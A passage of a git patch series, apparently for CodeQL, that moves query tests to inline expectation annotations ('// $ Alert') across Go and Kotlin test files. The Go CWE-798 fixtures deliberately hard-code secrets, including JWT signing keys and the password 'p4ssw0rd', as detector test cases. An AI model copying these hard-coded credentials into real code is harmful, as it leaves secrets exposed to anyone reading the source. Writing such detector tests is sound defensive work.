kataras.SignWithHeader(nil, key, nil, nil) // BAD + token, _ := kataras.SignWithHeader(nil, key, nil, nil) // $ Alert // BAD return token } @@ -189,5 +189,5 @@ func katarasJwt5() { key := []byte("key19") var keys kataras.Keys var alg kataras.Alg - keys.Register(alg, "api", nil, key) // BAD + keys.Register(alg, "api", nil, key) // $ Alert // BAD } diff --git a/go/ql/test/query-tests/Security/CWE-798/main.go b/go/ql/test/query-tests/Security/CWE-798/main.go index 366933c7693..7934c0d842f 100644 --- a/go/ql/test/query-tests/Security/CWE-798/main.go +++ b/go/ql/test/query-tests/Security/CWE-798/main.go @@ -3,7 +3,7 @@ package main import "fmt" const ( - passwd = "p4ssw0rd" // NOT OK + passwd = "p4ssw0rd" // $ Alert // NOT OK _password = "" // OK ) diff --git a/go/ql/test/query-tests/Security/CWE-798/sanitizer.go b/go/ql/test/query-tests/Security/CWE-798/sanitizer.go index 749642ceb3b..19cd3313987 100644 --- a/go/ql/test/query-tests/Security/CWE-798/sanitizer.go +++ b/go/ql/test/query-tests/Security/CWE-798/sanitizer.go @@ -15,7 +15,7 @@ import ( func check_ok() (interface{}, error) { key := []byte(`some_key`) - return cristal.NewSignerHS(cristal.HS256, key) // BAD + return cristal.NewSignerHS(cristal.HS256, key) // $ Alert // BAD } func GenerateRandomString(size int) string { From a375e186eda535d3df4a4370e6cb077b385a8ceb Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 11 Jun 2026 21:53:01 +0200 Subject: [PATCH 060/143] Third pass --- .../ConstantExpAppearsNonConstant.qlref | 3 ++- .../AbstractToConcreteCollection.qlref | 3 ++- .../ql/test-kotlin1/query-tests/AutoBoxing/AutoBoxing.qlref | 3 ++- .../test-kotlin1/query-tests/CloseReader/CloseReader.qlref | 3 ++- .../test-kotlin1/query-tests/CloseWriter/CloseWriter.qlref | 3 ++- .../ConfusingOverloading/ConfusingOverloading.qlref | 3 ++- java/ql/test-kotlin1/query-tests/ConstantLoopCondition/A.kt | 6 +++--- .../ConstantLoopCondition/ConstantLoopCondition.qlref | 3 ++- java/ql/test-kotlin1/query-tests/DeadCode/DeadClass.qlref | 3 ++- java/ql/test-kotlin1/query-tests/DeadCode/DeadMethod.qlref | 3 ++- .../query-tests/DeadRefTypes/DeadRefTypes.qlref | 3 ++- java/ql/test-kotlin1/query-tests/DeadRefTypes/test.kt | 2 +- .../ql/test-kotlin1/query-tests/EmptyBlock/EmptyBlock.qlref | 3 ++- .../ExposeRepresentation/ExposeRepresentation.qlref | 3 ++- .../InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref | 3 ++- .../MissingInstanceofInEquals.qlref | 3 ++- .../MissingOverrideAnnotation.qlref | 3 ++- .../query-tests/MutualDependency/MutualDependency.qlref | 3 ++- .../NamingConventionsRefTypes.qlref | 3 ++- .../query-tests/NamingConventionsRefTypes/Test.kt | 2 +- .../NonSerializableField/NonSerializableField.qlref | 3 ++- .../NonSerializableInnerClass.qlref | 3 ++- java/ql/test-kotlin1/query-tests/NullMaybe/NullMaybe.qlref | 3 ++- .../OneStatementPerLine/OneStatementPerLine.qlref | 3 ++- .../PartiallyMaskedCatch/PartiallyMaskedCatch.qlref | 3 ++- .../query-tests/ReturnValueIgnored/ReturnValueIgnored.qlref | 3 ++- .../query-tests/SimplifyBoolExpr/SimplifyBoolExpr.qlref | 3 ++- .../UnderscoreIdentifier/UnderscoreIdentifier.qlref | 3 ++- .../test-kotlin1/query-tests/UnreadLocal/UnreadLocal.qlref | 3 ++- java/ql/test-kotlin1/query-tests/UnreadLocal/test.kt | 4 ++-- java/ql/test-kotlin1/query-tests/UselessNullCheck/Test.kt | 2 +- .../query-tests/UselessNullCheck/UselessNullCheck.qlref | 3 ++- .../query-tests/UselessParameter/UselessParameter.qlref | 3 ++- .../WhitespaceContradictsPrecedence.qlref | 3 ++- .../AbstractToConcreteCollection.qlref | 3 ++- .../ql/test-kotlin2/query-tests/AutoBoxing/AutoBoxing.qlref | 3 ++- .../test-kotlin2/query-tests/CloseReader/CloseReader.qlref | 3 ++- .../test-kotlin2/query-tests/CloseWriter/CloseWriter.qlref | 3 ++- .../ConfusingOverloading/ConfusingOverloading.qlref | 3 ++- java/ql/test-kotlin2/query-tests/ConstantLoopCondition/A.kt | 6 +++--- .../ConstantLoopCondition/ConstantLoopCondition.qlref | 3 ++- java/ql/test-kotlin2/query-tests/DeadCode/DeadClass.qlref | 3 ++- java/ql/test-kotlin2/query-tests/DeadCode/DeadMethod.qlref | 3 ++- .../query-tests/DeadRefTypes/DeadRefTypes.qlref | 3 ++- java/ql/test-kotlin2/query-tests/DeadRefTypes/test.kt | 2 +- .../ql/test-kotlin2/query-tests/EmptyBlock/EmptyBlock.qlref | 3 ++- .../ExposeRepresentation/ExposeRepresentation.qlref | 3 ++- .../InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref | 3 ++- .../MissingInstanceofInEquals.qlref | 3 ++- .../MissingOverrideAnnotation.qlref | 3 ++- .../query-tests/MutualDependency/MutualDependency.qlref | 3 ++- .../NamingConventionsRefTypes.qlref | 3 ++- .../query-tests/NamingConventionsRefTypes/Test.kt | 2 +- .../NonSerializableField/NonSerializableField.qlref | 3 ++- .../NonSerializableInnerClass.qlref | 3 ++- java/ql/test-kotlin2/query-tests/NullMaybe/NullMaybe.qlref | 3 ++- .../OneStatementPerLine/OneStatementPerLine.qlref | 3 ++- .../PartiallyMaskedCatch/PartiallyMaskedCatch.qlref | 3 ++- .../query-tests/ReturnValueIgnored/ReturnValueIgnored.qlref | 3 ++- .../query-tests/SimplifyBoolExpr/SimplifyBoolExpr.qlref | 3 ++- .../UnderscoreIdentifier/UnderscoreIdentifier.qlref | 3 ++- .../test-kotlin2/query-tests/UnreadLocal/UnreadLocal.qlref | 3 ++- java/ql/test-kotlin2/query-tests/UnreadLocal/test.kt | 4 ++-- java/ql/test-kotlin2/query-tests/UselessNullCheck/Test.kt | 2 +- .../query-tests/UselessNullCheck/UselessNullCheck.qlref | 3 ++- .../query-tests/UselessParameter/UselessParameter.qlref | 3 ++- .../WhitespaceContradictsPrecedence.qlref | 3 ++- 67 files changed, 130 insertions(+), 73 deletions(-) diff --git a/java/ql/integration-tests/kotlin/all-platforms/gradle_kotlinx_serialization/ConstantExpAppearsNonConstant.qlref b/java/ql/integration-tests/kotlin/all-platforms/gradle_kotlinx_serialization/ConstantExpAppearsNonConstant.qlref index 6d7e1f5cb7f..924600d5a4d 100644 --- a/java/ql/integration-tests/kotlin/all-platforms/gradle_kotlinx_serialization/ConstantExpAppearsNonConstant.qlref +++ b/java/ql/integration-tests/kotlin/all-platforms/gradle_kotlinx_serialization/ConstantExpAppearsNonConstant.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/ConstantExpAppearsNonConstant.ql \ No newline at end of file +query: Likely Bugs/Arithmetic/ConstantExpAppearsNonConstant.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/AbstractToConcreteCollection/AbstractToConcreteCollection.qlref b/java/ql/test-kotlin1/query-tests/AbstractToConcreteCollection/AbstractToConcreteCollection.qlref index ddc5d95d9d1..d7ef72c65e3 100644 --- a/java/ql/test-kotlin1/query-tests/AbstractToConcreteCollection/AbstractToConcreteCollection.qlref +++ b/java/ql/test-kotlin1/query-tests/AbstractToConcreteCollection/AbstractToConcreteCollection.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Implementation Hiding/AbstractToConcreteCollection.ql \ No newline at end of file +query: Violations of Best Practice/Implementation Hiding/AbstractToConcreteCollection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/AutoBoxing/AutoBoxing.qlref b/java/ql/test-kotlin1/query-tests/AutoBoxing/AutoBoxing.qlref index f116f3bd8b4..dc47875616d 100644 --- a/java/ql/test-kotlin1/query-tests/AutoBoxing/AutoBoxing.qlref +++ b/java/ql/test-kotlin1/query-tests/AutoBoxing/AutoBoxing.qlref @@ -1 +1,2 @@ -Violations of Best Practice/legacy/AutoBoxing.ql +query: Violations of Best Practice/legacy/AutoBoxing.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/CloseReader/CloseReader.qlref b/java/ql/test-kotlin1/query-tests/CloseReader/CloseReader.qlref index 1c808bb9f46..9fae04fe76d 100644 --- a/java/ql/test-kotlin1/query-tests/CloseReader/CloseReader.qlref +++ b/java/ql/test-kotlin1/query-tests/CloseReader/CloseReader.qlref @@ -1 +1,2 @@ -Likely Bugs/Resource Leaks/CloseReader.ql +query: Likely Bugs/Resource Leaks/CloseReader.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/CloseWriter/CloseWriter.qlref b/java/ql/test-kotlin1/query-tests/CloseWriter/CloseWriter.qlref index 88008367363..d81d6020dae 100644 --- a/java/ql/test-kotlin1/query-tests/CloseWriter/CloseWriter.qlref +++ b/java/ql/test-kotlin1/query-tests/CloseWriter/CloseWriter.qlref @@ -1 +1,2 @@ -Likely Bugs/Resource Leaks/CloseWriter.ql +query: Likely Bugs/Resource Leaks/CloseWriter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/ConfusingOverloading/ConfusingOverloading.qlref b/java/ql/test-kotlin1/query-tests/ConfusingOverloading/ConfusingOverloading.qlref index 4fc71295c2c..e74bc1b00aa 100644 --- a/java/ql/test-kotlin1/query-tests/ConfusingOverloading/ConfusingOverloading.qlref +++ b/java/ql/test-kotlin1/query-tests/ConfusingOverloading/ConfusingOverloading.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Naming Conventions/ConfusingOverloading.ql \ No newline at end of file +query: Violations of Best Practice/Naming Conventions/ConfusingOverloading.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/ConstantLoopCondition/A.kt b/java/ql/test-kotlin1/query-tests/ConstantLoopCondition/A.kt index 8c111c58fe7..b04d3135e8f 100644 --- a/java/ql/test-kotlin1/query-tests/ConstantLoopCondition/A.kt +++ b/java/ql/test-kotlin1/query-tests/ConstantLoopCondition/A.kt @@ -2,21 +2,21 @@ fun fn0(f: Function0) = f() fun fn1() { var c = true - while (c) { // TODO: false positive + while (c) { // $ SPURIOUS: Alert // TODO: false positive fn0 { c = false } } var d = true - while (d) { + while (d) { // $ Alert fn0 { println(d) } } val e = true - while (e) { + while (e) { // $ Alert fn0 { println(e) } diff --git a/java/ql/test-kotlin1/query-tests/ConstantLoopCondition/ConstantLoopCondition.qlref b/java/ql/test-kotlin1/query-tests/ConstantLoopCondition/ConstantLoopCondition.qlref index 37e6a9b72fe..f7081322f7d 100644 --- a/java/ql/test-kotlin1/query-tests/ConstantLoopCondition/ConstantLoopCondition.qlref +++ b/java/ql/test-kotlin1/query-tests/ConstantLoopCondition/ConstantLoopCondition.qlref @@ -1 +1,2 @@ -Likely Bugs/Termination/ConstantLoopCondition.ql +query: Likely Bugs/Termination/ConstantLoopCondition.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/DeadCode/DeadClass.qlref b/java/ql/test-kotlin1/query-tests/DeadCode/DeadClass.qlref index d726e7e0849..b94832ebfca 100644 --- a/java/ql/test-kotlin1/query-tests/DeadCode/DeadClass.qlref +++ b/java/ql/test-kotlin1/query-tests/DeadCode/DeadClass.qlref @@ -1 +1,2 @@ -DeadCode/DeadClass.ql +query: DeadCode/DeadClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/DeadCode/DeadMethod.qlref b/java/ql/test-kotlin1/query-tests/DeadCode/DeadMethod.qlref index 76204a1df5a..743a5f15775 100644 --- a/java/ql/test-kotlin1/query-tests/DeadCode/DeadMethod.qlref +++ b/java/ql/test-kotlin1/query-tests/DeadCode/DeadMethod.qlref @@ -1 +1,2 @@ -DeadCode/DeadMethod.ql +query: DeadCode/DeadMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/DeadRefTypes/DeadRefTypes.qlref b/java/ql/test-kotlin1/query-tests/DeadRefTypes/DeadRefTypes.qlref index 2b925a78cbb..e8f47f2d682 100644 --- a/java/ql/test-kotlin1/query-tests/DeadRefTypes/DeadRefTypes.qlref +++ b/java/ql/test-kotlin1/query-tests/DeadRefTypes/DeadRefTypes.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Dead Code/DeadRefTypes.ql \ No newline at end of file +query: Violations of Best Practice/Dead Code/DeadRefTypes.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/DeadRefTypes/test.kt b/java/ql/test-kotlin1/query-tests/DeadRefTypes/test.kt index 6a38aa0f748..c65e8ab0d58 100644 --- a/java/ql/test-kotlin1/query-tests/DeadRefTypes/test.kt +++ b/java/ql/test-kotlin1/query-tests/DeadRefTypes/test.kt @@ -1,4 +1,4 @@ -private class C1 { } +private class C1 { } // $ Alert private class C2 { } diff --git a/java/ql/test-kotlin1/query-tests/EmptyBlock/EmptyBlock.qlref b/java/ql/test-kotlin1/query-tests/EmptyBlock/EmptyBlock.qlref index b0a56e88aa4..5fe264815b8 100644 --- a/java/ql/test-kotlin1/query-tests/EmptyBlock/EmptyBlock.qlref +++ b/java/ql/test-kotlin1/query-tests/EmptyBlock/EmptyBlock.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/EmptyBlock.ql \ No newline at end of file +query: Likely Bugs/Statements/EmptyBlock.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/ExposeRepresentation/ExposeRepresentation.qlref b/java/ql/test-kotlin1/query-tests/ExposeRepresentation/ExposeRepresentation.qlref index 6452bb942d2..e47d860dcc2 100644 --- a/java/ql/test-kotlin1/query-tests/ExposeRepresentation/ExposeRepresentation.qlref +++ b/java/ql/test-kotlin1/query-tests/ExposeRepresentation/ExposeRepresentation.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Implementation Hiding/ExposeRepresentation.ql +query: Violations of Best Practice/Implementation Hiding/ExposeRepresentation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref b/java/ql/test-kotlin1/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref index 3d3b5444609..68cb3e6761e 100644 --- a/java/ql/test-kotlin1/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref +++ b/java/ql/test-kotlin1/query-tests/InnerClassCouldBeStatic/InnerClassCouldBeStatic.qlref @@ -1 +1,2 @@ -Performance/InnerClassCouldBeStatic.ql \ No newline at end of file +query: Performance/InnerClassCouldBeStatic.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref b/java/ql/test-kotlin1/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref index 40038cf027a..d1a5c7d8130 100644 --- a/java/ql/test-kotlin1/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref +++ b/java/ql/test-kotlin1/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref @@ -1 +1,2 @@ -Likely Bugs/Comparison/MissingInstanceofInEquals.ql \ No newline at end of file +query: Likely Bugs/Comparison/MissingInstanceofInEquals.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref b/java/ql/test-kotlin1/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref index c74780e7d24..885c1312f9e 100644 --- a/java/ql/test-kotlin1/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref +++ b/java/ql/test-kotlin1/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref @@ -1 +1,2 @@ -Advisory/Declarations/MissingOverrideAnnotation.ql \ No newline at end of file +query: Advisory/Declarations/MissingOverrideAnnotation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/MutualDependency/MutualDependency.qlref b/java/ql/test-kotlin1/query-tests/MutualDependency/MutualDependency.qlref index ab1dbe353ef..273ed4d757a 100644 --- a/java/ql/test-kotlin1/query-tests/MutualDependency/MutualDependency.qlref +++ b/java/ql/test-kotlin1/query-tests/MutualDependency/MutualDependency.qlref @@ -1 +1,2 @@ -Architecture/Dependencies/MutualDependency.ql \ No newline at end of file +query: Architecture/Dependencies/MutualDependency.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.qlref b/java/ql/test-kotlin1/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.qlref index 6f76aed32cb..52bea60e468 100644 --- a/java/ql/test-kotlin1/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.qlref +++ b/java/ql/test-kotlin1/query-tests/NamingConventionsRefTypes/NamingConventionsRefTypes.qlref @@ -1 +1,2 @@ -Advisory/Naming/NamingConventionsRefTypes.ql \ No newline at end of file +query: Advisory/Naming/NamingConventionsRefTypes.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/NamingConventionsRefTypes/Test.kt b/java/ql/test-kotlin1/query-tests/NamingConventionsRefTypes/Test.kt index f62497d59c6..1374f616316 100644 --- a/java/ql/test-kotlin1/query-tests/NamingConventionsRefTypes/Test.kt +++ b/java/ql/test-kotlin1/query-tests/NamingConventionsRefTypes/Test.kt @@ -9,4 +9,4 @@ class Foo { } } -class aaaa {} \ No newline at end of file +class aaaa {} // $ Alert diff --git a/java/ql/test-kotlin1/query-tests/NonSerializableField/NonSerializableField.qlref b/java/ql/test-kotlin1/query-tests/NonSerializableField/NonSerializableField.qlref index 401d63757af..1b3b59559be 100644 --- a/java/ql/test-kotlin1/query-tests/NonSerializableField/NonSerializableField.qlref +++ b/java/ql/test-kotlin1/query-tests/NonSerializableField/NonSerializableField.qlref @@ -1 +1,2 @@ -Likely Bugs/Serialization/NonSerializableField.ql +query: Likely Bugs/Serialization/NonSerializableField.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/NonSerializableInnerClass/NonSerializableInnerClass.qlref b/java/ql/test-kotlin1/query-tests/NonSerializableInnerClass/NonSerializableInnerClass.qlref index 4cbb0995764..0ce5b0819e9 100644 --- a/java/ql/test-kotlin1/query-tests/NonSerializableInnerClass/NonSerializableInnerClass.qlref +++ b/java/ql/test-kotlin1/query-tests/NonSerializableInnerClass/NonSerializableInnerClass.qlref @@ -1 +1,2 @@ -Likely Bugs/Serialization/NonSerializableInnerClass.ql +query: Likely Bugs/Serialization/NonSerializableInnerClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/NullMaybe/NullMaybe.qlref b/java/ql/test-kotlin1/query-tests/NullMaybe/NullMaybe.qlref index ab01473d8e5..19125c7bc59 100644 --- a/java/ql/test-kotlin1/query-tests/NullMaybe/NullMaybe.qlref +++ b/java/ql/test-kotlin1/query-tests/NullMaybe/NullMaybe.qlref @@ -1 +1,2 @@ -Likely Bugs/Nullness/NullMaybe.ql +query: Likely Bugs/Nullness/NullMaybe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/OneStatementPerLine/OneStatementPerLine.qlref b/java/ql/test-kotlin1/query-tests/OneStatementPerLine/OneStatementPerLine.qlref index 99f3f3f3293..dbe810b5208 100644 --- a/java/ql/test-kotlin1/query-tests/OneStatementPerLine/OneStatementPerLine.qlref +++ b/java/ql/test-kotlin1/query-tests/OneStatementPerLine/OneStatementPerLine.qlref @@ -1 +1,2 @@ -Advisory/Statements/OneStatementPerLine.ql \ No newline at end of file +query: Advisory/Statements/OneStatementPerLine.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatch.qlref b/java/ql/test-kotlin1/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatch.qlref index c2db43d8953..a129d30287b 100644 --- a/java/ql/test-kotlin1/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatch.qlref +++ b/java/ql/test-kotlin1/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatch.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/PartiallyMaskedCatch.ql \ No newline at end of file +query: Likely Bugs/Statements/PartiallyMaskedCatch.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/ReturnValueIgnored/ReturnValueIgnored.qlref b/java/ql/test-kotlin1/query-tests/ReturnValueIgnored/ReturnValueIgnored.qlref index ef1dc964d95..ab13392ec55 100644 --- a/java/ql/test-kotlin1/query-tests/ReturnValueIgnored/ReturnValueIgnored.qlref +++ b/java/ql/test-kotlin1/query-tests/ReturnValueIgnored/ReturnValueIgnored.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/ReturnValueIgnored.ql \ No newline at end of file +query: Likely Bugs/Statements/ReturnValueIgnored.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.qlref b/java/ql/test-kotlin1/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.qlref index d071e989ebb..45d0db5559c 100644 --- a/java/ql/test-kotlin1/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.qlref +++ b/java/ql/test-kotlin1/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Boolean Logic/SimplifyBoolExpr.ql +query: Violations of Best Practice/Boolean Logic/SimplifyBoolExpr.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/UnderscoreIdentifier/UnderscoreIdentifier.qlref b/java/ql/test-kotlin1/query-tests/UnderscoreIdentifier/UnderscoreIdentifier.qlref index dbed8c6f411..7aa4b4176e3 100644 --- a/java/ql/test-kotlin1/query-tests/UnderscoreIdentifier/UnderscoreIdentifier.qlref +++ b/java/ql/test-kotlin1/query-tests/UnderscoreIdentifier/UnderscoreIdentifier.qlref @@ -1 +1,2 @@ -Compatibility/JDK9/UnderscoreIdentifier.ql \ No newline at end of file +query: Compatibility/JDK9/UnderscoreIdentifier.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/UnreadLocal/UnreadLocal.qlref b/java/ql/test-kotlin1/query-tests/UnreadLocal/UnreadLocal.qlref index 5a77117711e..dc6fb57ca6a 100644 --- a/java/ql/test-kotlin1/query-tests/UnreadLocal/UnreadLocal.qlref +++ b/java/ql/test-kotlin1/query-tests/UnreadLocal/UnreadLocal.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Dead Code/UnreadLocal.ql +query: Violations of Best Practice/Dead Code/UnreadLocal.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/UnreadLocal/test.kt b/java/ql/test-kotlin1/query-tests/UnreadLocal/test.kt index e1663d7c116..a7537d128d8 100644 --- a/java/ql/test-kotlin1/query-tests/UnreadLocal/test.kt +++ b/java/ql/test-kotlin1/query-tests/UnreadLocal/test.kt @@ -5,13 +5,13 @@ fun fn0(size: Int) { } fun fn1(a: Array) { - for (e in a) { + for (e in a) { // $ Alert println() } } fun fn2(a: Array) { - for ((idx, e) in a.withIndex()) { + for ((idx, e) in a.withIndex()) { // $ Alert println() } } diff --git a/java/ql/test-kotlin1/query-tests/UselessNullCheck/Test.kt b/java/ql/test-kotlin1/query-tests/UselessNullCheck/Test.kt index 138309dc9de..365eb5083a2 100644 --- a/java/ql/test-kotlin1/query-tests/UselessNullCheck/Test.kt +++ b/java/ql/test-kotlin1/query-tests/UselessNullCheck/Test.kt @@ -13,6 +13,6 @@ fun fn(x:Any?, y: Any?) { fun fn0(o: Any?) { if (o != null) { o?.toString() - o.toString() + o.toString() // $ Alert } } diff --git a/java/ql/test-kotlin1/query-tests/UselessNullCheck/UselessNullCheck.qlref b/java/ql/test-kotlin1/query-tests/UselessNullCheck/UselessNullCheck.qlref index 8b5a095d396..68c4adcf428 100644 --- a/java/ql/test-kotlin1/query-tests/UselessNullCheck/UselessNullCheck.qlref +++ b/java/ql/test-kotlin1/query-tests/UselessNullCheck/UselessNullCheck.qlref @@ -1 +1,2 @@ -Language Abuse/UselessNullCheck.ql +query: Language Abuse/UselessNullCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/UselessParameter/UselessParameter.qlref b/java/ql/test-kotlin1/query-tests/UselessParameter/UselessParameter.qlref index b1ceb2751a6..7de29d4e3f4 100644 --- a/java/ql/test-kotlin1/query-tests/UselessParameter/UselessParameter.qlref +++ b/java/ql/test-kotlin1/query-tests/UselessParameter/UselessParameter.qlref @@ -1 +1,2 @@ -DeadCode/UselessParameter.ql \ No newline at end of file +query: DeadCode/UselessParameter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin1/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref b/java/ql/test-kotlin1/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref index e8331b4132f..470fdcfe273 100644 --- a/java/ql/test-kotlin1/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref +++ b/java/ql/test-kotlin1/query-tests/WhitespaceContradictsPrecedence/WhitespaceContradictsPrecedence.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/WhitespaceContradictsPrecedence.ql \ No newline at end of file +query: Likely Bugs/Arithmetic/WhitespaceContradictsPrecedence.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/AbstractToConcreteCollection/AbstractToConcreteCollection.qlref b/java/ql/test-kotlin2/query-tests/AbstractToConcreteCollection/AbstractToConcreteCollection.qlref index ddc5d95d9d1..d7ef72c65e3 100644 --- a/java/ql/test-kotlin2/query-tests/AbstractToConcreteCollection/AbstractToConcreteCollection.qlref +++ b/java/ql/test-kotlin2/query-tests/AbstractToConcreteCollection/AbstractToConcreteCollection.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Implementation Hiding/AbstractToConcreteCollection.ql \ No newline at end of file +query: Violations of Best Practice/Implementation Hiding/AbstractToConcreteCollection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/AutoBoxing/AutoBoxing.qlref b/java/ql/test-kotlin2/query-tests/AutoBoxing/AutoBoxing.qlref index f116f3bd8b4..dc47875616d 100644 --- a/java/ql/test-kotlin2/query-tests/AutoBoxing/AutoBoxing.qlref +++ b/java/ql/test-kotlin2/query-tests/AutoBoxing/AutoBoxing.qlref @@ -1 +1,2 @@ -Violations of Best Practice/legacy/AutoBoxing.ql +query: Violations of Best Practice/legacy/AutoBoxing.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/CloseReader/CloseReader.qlref b/java/ql/test-kotlin2/query-tests/CloseReader/CloseReader.qlref index 1c808bb9f46..9fae04fe76d 100644 --- a/java/ql/test-kotlin2/query-tests/CloseReader/CloseReader.qlref +++ b/java/ql/test-kotlin2/query-tests/CloseReader/CloseReader.qlref @@ -1 +1,2 @@ -Likely Bugs/Resource Leaks/CloseReader.ql +query: Likely Bugs/Resource Leaks/CloseReader.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/CloseWriter/CloseWriter.qlref b/java/ql/test-kotlin2/query-tests/CloseWriter/CloseWriter.qlref index 88008367363..d81d6020dae 100644 --- a/java/ql/test-kotlin2/query-tests/CloseWriter/CloseWriter.qlref +++ b/java/ql/test-kotlin2/query-tests/CloseWriter/CloseWriter.qlref @@ -1 +1,2 @@ -Likely Bugs/Resource Leaks/CloseWriter.ql +query: Likely Bugs/Resource Leaks/CloseWriter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/ConfusingOverloading/ConfusingOverloading.qlref b/java/ql/test-kotlin2/query-tests/ConfusingOverloading/ConfusingOverloading.qlref index 4fc71295c2c..e74bc1b00aa 100644 --- a/java/ql/test-kotlin2/query-tests/ConfusingOverloading/ConfusingOverloading.qlref +++ b/java/ql/test-kotlin2/query-tests/ConfusingOverloading/ConfusingOverloading.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Naming Conventions/ConfusingOverloading.ql \ No newline at end of file +query: Violations of Best Practice/Naming Conventions/ConfusingOverloading.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test-kotlin2/query-tests/ConstantLoopCondition/A.kt b/java/ql/test-kotlin2/query-tests/ConstantLoopCondition/A.kt index 8c111c58fe7..b04d3135e8f 100644 --- a/java/ql/test-kotlin2/query-tests/ConstantLoopCondition/A.kt +++ b/java/ql/test-kotlin2/query-tests/ConstantLoopCondition/A.kt @@ -2,21 +2,21 @@ fun fn0(f: Function0) = f() fun fn1() { var c = true - while (c) { // TODO: false positive + while (c) { // $ SPURIOUS: Alert // TODO: false positive fn0 { c = false } } var d = true - while (d) { + while (d) 